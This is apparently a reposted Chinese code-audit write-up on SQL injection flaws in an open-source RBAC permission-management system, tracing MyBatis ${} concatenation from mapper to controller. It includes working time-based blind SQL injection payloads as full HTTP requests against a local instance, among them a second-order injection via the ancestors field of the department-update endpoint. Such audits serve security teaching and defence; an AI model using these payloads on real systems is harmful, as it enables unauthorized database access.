一、项目部署
1、在IDEA中启动项目
二、SQL注入漏洞审计
nickName参数SQL注入
该项目使用了Mybatis来定义SQL,所以我们主要查看Myabatis中的Mapper文件中是否存在使用 $ 拼接SQL语句的情况,在Mapper文件中全局搜索${
1、查看UserMapper.xml文件
2、可以看到nickName和userName使用了$拼接变量,有可能存在SQL注入漏洞,接下来我们挨个分析
nickName参数
先追踪到DAO层文件
可以看到getFuzzyUserByPage()方法中传入的参数是一个MyUser实体类,再查看这个实体类,在这个实体类中可以看到nickName和userName这两个参数
继续往上跟,跟到实现层
在UserServiceImpl
类中调用了getFuzzyUserByPage()
方法
继续往上跟,来到service层
点进getAllUsersByPage()
,可以发现直接来到的Controller层
并且根据这里的几个注解我们可以得出
该方法对应的功能点为"查询用户"
观察到UserController类被映射到了/api/user接口
所以这里只要用户请求/api/user接口并带上MyUser实体类的参数,就会自动将该参数的值赋值给实体类new出来的对象myUser
构造payload
GET /api/user?page=1&limit=10&userName=1&nickName=1+AND+sleep(5) HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:8088
Cookie: JSESSIONID=C19E8EA001366E48547AC99F8980D962; remember-me=YWRtaW46MTcxOTczNDI5MjU0MDphYmM1YmE5OTdlNjMwMWYwMmE2MjU4OTMxZjEwYzFhOQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
延时
sqlmap验证
userName参数SQL注入
该SQL注入原理同上,不再叙述了
payload
GET /api/user?page=1&limit=10&nickName=1&userName=1+AND+(SELECT+9940+FROM+(SELECT(SLEEP(5)))rgGT) HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:8088
Cookie: JSESSIONID=C19E8EA001366E48547AC99F8980D962; remember-me=YWRtaW46MTcxOTczNDI5MjU0MDphYmM1YmE5OTdlNjMwMWYwMmE2MjU4OTMxZjEwYzFhOQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
延时
sqlmap验证
dictName参数SQL注入
原理同上,根据以下路径跟踪即可
payload
GET /api/dict?page=1&limit=10&dictName=1+and+sleep(5) HTTP/1.1
Host: 127.0.0.1:8088
Accept: application/json, text/javascript, */*; q=0.01
Cookie: JSESSIONID=D38C3BF1CBEA080C39D38E1E2508BA9A; remember-me=YWRtaW46MTcxOTc1NDQyNDUyMzplMjBjNGFmYzUwODYzN2VlZThkNWNhMDY5ZWZlODhmZA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
ancestors参数SQL注入
1、Mapper层代码
2、追踪到DAO层
3、实现层
可以看到在实现层的updateParentDeptStatus()
方法调用了updateDeptStatus()
方法,我们再追踪到调用updateParentDeptStatus
方法
4、可以看到在updateDept()
方法中调用了updateParentDeptStatus
方法,点进updateDept()
方法,来到Controller层
5、可以看到Controller层代码处理了传入的Mydept
对象,处理的过程中调用updateDept
方法
Mydept实体类的代码如下
分析到这看起来是一个很平常的SQL注入,但是并不是,因为可以看以下代码
在实现层中传入了dept实例的dept_id属性值,并根据这个id值从数据库获取对应的dept实例,再将数据库获取的dept赋值为dept,所以这里覆盖了我们传入的dept实例。所以这里被覆盖之后dept的ancestors属性值就不会是我们传入的dept属性值了,而是根据传入的id值从数据库中取出来的,所以说在这里我们的ancestors值是不可控。
那为什么说ancestors参数存在SQL注入漏洞呢?
这里就需要注意一点,当某个存在SQL注入的参数在当前输入不可控时,可以找找其他地方,看能否通过其他功能修改该参数,从而使该参数可控
那怎么找呢?找能够控制该参数的对应方法即可,例如这里参数不可控的原因是因为参数是从数据库取出来的,那我们就可以找找什么地方可以修改数据库中的这个值,即在对应的mapper文件中找找insert语句和update语句
这里共有三个update语句,并没有insert,所以下面我们来逐个看看这三个update语句
第一个update语句
这个update语句是用于批量更新多个部门的ancestors, 但是它是通过where id in
:指定条件,根据部门 id列表更新对应的记录,而且这个id我们是不可控的
看看ChatGPT的解释
来到实现层
public int updateDept(MyDept dept) {
// 获取父部门的信息
MyDept parentInfo = deptDao.selectDeptById(dept.getParentId());
// 获取当前部门的旧信息
MyDept oldInfo = selectDeptById(dept.getDeptId());
// 如果父部门信息和当前部门旧信息都不为空
if (ObjectUtil.isNotEmpty(parentInfo) && ObjectUtil.isNotEmpty(oldInfo)) {
// 生成新的ancestors,格式为:父部门的ancestors + 父部门的ID
String newAncestors = parentInfo.getAncestors() + "," + parentInfo.getDeptId();
// 获取旧的ancestors
String oldAncestors = oldInfo.getAncestors();
// 设置当前部门的ancestors为新的ancestors
dept.setAncestors(newAncestors);
// 更新当前部门的子部门的ancestors
updateDeptChildren(dept.getDeptId(), newAncestors, oldAncestors);
}
// 更新当前部门信息
int result = deptDao.updateDept(dept);
// 如果当前部门的状态为正常
if (UserConstants.DEPT_NORMAL.equals(dept.getStatus().toString())) {
// 启用该部门的所有上级部门
updateParentDeptStatus(dept);
}
// 返回更新操作的结果
return result;
}
该方法传入的ancestors是
String newAncestors = parentInfo.getAncestors() + "," + parentInfo.getDeptId();
显然我们要控制这里的ancestors是不可能的(因为部门id我们是不可控的)
第二个update语句
where d.dept_id = #{deptId} //指定更新的条件,基于部门id 更新对应的记录。
这个update语句将数据库中指定id的dept信息换为传入的dept信息,其中就包含了ancestors参数,所以只要我们能够控制传入dept实例的ancestors属性值,就能够修改数据库中对应的ancestors,造成SQL注入漏洞
看看ChatGPT的解释
来到实现层
可以看到实现类中,传入的dept对象如果有上级部门,并且当前dept对象不为空,就会进入到if条件,然后会去修改我们传入的dept对象的ancestors属性值
如果我们想要控制ancestors,就不能让程序修改我们输入的ancestors属性值,也就不能满足if条件(上级部门信息和当前当前dept对象(部门信息)都不为空)
首先是dept对象不为空
–我们传入的dept对象因为要带有恶意ancestors参数值,所以也肯定不会为空
其次就是有上级部门
–所以我们要尽量保证我们传入的dept对象没有上级部门,这样就不会进入if内部导致输入的ancestors被程序修改
之后程序就会调用updateDept
直接替换dept对象的信息到数据库中,我们继续向上追踪,来到Controller层
可以看到在Controller层中,经过一系列的if条件,然后调用了updateDept
方法, 并且该方法对应程序中的"修改部门功能"
经过上面的分析,我们确定这个位置是可以控制数据库中的ancestors值的,只需要在"修改部门"的请求中带上ancestors参数,并且当前部门没有上级部门时,我们输入的ancestors就会覆盖数据库中ancestors参数值,即实现了ancestors参数可控
又因为刚才我们发现的SQL语句使用$拼接了ancestors参数,所以这里存在SQL注入漏洞
第三个update语句
这个update语句不涉及ancestors参数,所以就不需要再分析
看看ChatGPT的解释
三、漏洞复现
这个漏洞点位于“修改部门‘功能,我们来到部门管理页面
选一个没有上级部门的部门进行修改
可以看到请求并没有携带ancestors参数,但是我们刚才分析此处是可以传入ancestors参数的,因为接收的是Mydept类
Mydept类有的属性都可以接收
构造payload
PUT /api/dept HTTP/1.1
Host: 127.0.0.1:8088
Sec-Fetch-Mode: cors
Accept: application/json, text/javascript, */*; q=0.01
Cookie: JSESSIONID=966124AD0558B0F404998C6158F56C58; remember-me=YWRtaW46MTcxOTc1MDE1MjI2ODozYjliNWYzODZmNzczY2RkNmFhZDMwYzU4Mzg0M2FmZA
Sec-Fetch-Dest: empty
Sec-Fetch-Site: same-origin
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Content-Type: application/json
{"deptId":"1","deptName":"南京总公司","sort":"1","status":"1","parentId":"0","dataTree_select_nodeId":"","dataTree_select_input":"","ancestors":"1) and sleep(5)#"}
四、参考链接
https://zhuanlan.zhihu.com/p/524143744
https://mp.weixin.qq.com/s/-97Z3ZvVMP74L1oPsf_zBQ
原文始发于微信公众号(安全攻防屋):【代码审计】RBAC权限管理系统-SQL注入漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论